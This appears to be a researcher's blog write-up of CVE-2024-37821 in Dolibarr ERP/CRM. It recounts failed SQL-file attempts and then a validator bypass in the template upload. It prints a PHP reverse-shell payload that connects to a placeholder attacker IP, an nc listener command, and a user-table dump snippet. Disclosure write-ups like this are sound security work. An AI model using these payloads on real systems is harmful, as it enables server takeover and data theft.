CVE-2024-37821: SQL Injection to Remote Code Execution in Dolibarr ERP/CRM
Exploiting CVE-2024-37821: From SQL Injection Roadblocks to Remote Code Execution in Dolibarr ERP/CRM
The path to finding a vulnerability is rarely straightforward. When I teamed up with Arthur Valverde to explore the security of Dolibarr ERP/CRM, we knew we were in for a challenge. Our goal was to investigate the template upload functionality, which allows administrators to upload custom website templates. After a series of trial-and-error attempts, we discovered a critical flaw that could lead to Remote Code Execution (RCE). This vulnerability was eventually reported as CVE-2024-37821.
The Initial Exploration: Template Uploads
Arthur and I started by examining how Dolibarr handles template uploads. This feature allows admins to upload templates that include a file named website_pages.sql, which contains SQL commands to populate content into the database. The fact that SQL commands could be imported directly into the database caught our attention immediately.
Our initial plan was to use this SQL file to execute malicious commands on the database. We theorized that by modifying the website_pages.sql file, we could perform SQL injections to alter the database schema, dump data, or even execute system commands.
Attempt 1: Altering Tables via SQL File
Our first approach was to edit the website_pages.sql file to include an ALTER statement. We tried inserting the following into the file:
ALTER TABLE llx_website_page ADD COLUMN malicious_column VARCHAR(255);
We hoped that Dolibarr would process this command during the template import, allowing us to modify the database structure. However, as soon as we tried uploading the modified template, the system rejected it. After digging into the logs, we realized that Dolibarr had a validation mechanism in place that strictly limited the types of SQL commands allowed during template uploads.
Validator Roadblock
The validator allowed only INSERT statements into specific tables, like llx_website_page. Commands like ALTER, DROP, and DELETE were explicitly disallowed, making it impossible to use our original approach. Frustrated but not defeated, Arthur and I brainstormed alternative ways to exploit this feature.
Attempt 2: Dumping the Database
With direct modifications blocked, we pivoted to another idea: using SQL commands to dump database content. We tried to craft a payload that would extract sensitive information from the database tables:
INSERT INTO llx_website_page (..., content, ...) VALUES (..., '<?php
$result = $db->query("SELECT * FROM llx_users");
while ($row = $result->fetch()) {
echo htmlentities(json_encode($row));
}
?>', ...);
We packed this payload into a template and uploaded it. But once again, the validator caught our attempts. Dolibarr allowed only HTML content to be inserted into specific fields, rejecting anything that looked like PHP or direct database queries.
This validation mechanism meant we couldn’t directly inject commands to dump or modify the database. At this point, it seemed like our options were running out. But instead of giving up, we took a closer look at what Dolibarr actually allowed.
The Breakthrough: Embedding PHP in HTML
After revisiting the documentation and logs, we noticed that while the validator was strict about SQL commands, it allowed HTML content to be inserted into certain fields in the llx_website_page table. This gave us an idea: what if we could insert PHP code disguised as HTML content and have it executed when the page rendered?
We crafted a new payload that embedded a PHP reverse shell command within an HTML tag in the SQL INSERT statement:
INSERT INTO llx_website_page (..., content, ...) VALUES (..., '<?php
$sock=fsockopen("<ATTACKER-IP>", <ATTACKER-PORT>);
$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>', ...);
This time, the PHP code was embedded as part of the HTML content. The trick was to hide the PHP payload inside a piece of HTML that would look harmless during validation but execute as PHP once the page was rendered.
Packaging and Uploading the Exploit
With the new payload in place, we repackaged the template using the following command:
zip -r website_template-custom.zip /path/to/unzip/template
We ensured the structure of the template matched Dolibarr’s requirements, including keeping the website_pages.sql file in its original location. Then, we uploaded the modified template via the Dolibarr admin interface at http://dolibarr.bb/website/index.php.
The template upload was successful. Now, all that was left was to access the page with the injected content and see if the payload would execute.
Step 4: Catching the Reverse Shell
Arthur set up a listener on his machine using nc:
nc -lnvp <ATTACKER-PORT>
As soon as we accessed the infected page in Dolibarr, we saw a connection attempt to our listener. The reverse shell had successfully executed, giving us a www-data shell on the server. We had finally found a way around the validation and exploited the vulnerability.
Reflection: A Lesson in Persistence
This journey was a reminder of how critical persistence and creativity are in vulnerability research. While our initial attempts to alter tables and dump the database directly failed, adapting our approach and leveraging the quirks of the validator led to the discovery of a serious security flaw.
Together, Arthur and I reported our findings to the Dolibarr security team, providing a detailed explanation of how the validator could be bypassed using hidden PHP payloads in HTML content. Our efforts led to the creation of CVE-2024-37821.
Impact and Recommendations
This vulnerability highlights the importance of thoroughly validating any content that can be uploaded to web applications. To prevent such attacks, we recommend:
- Implementing stricter checks for embedded PHP code within HTML fields.
- Ensuring that HTML content stored in the database is sanitized before being rendered on the server.
- Regularly reviewing and updating the validation mechanisms to cover edge cases like this one.
For a complete breakdown of the vulnerability and our report, you can check out the full CVE entry here.
Happy hunting, and remember: the path to discovery often involves more failures than successes, but those who persist are the ones who find the way forward.
Comments Reply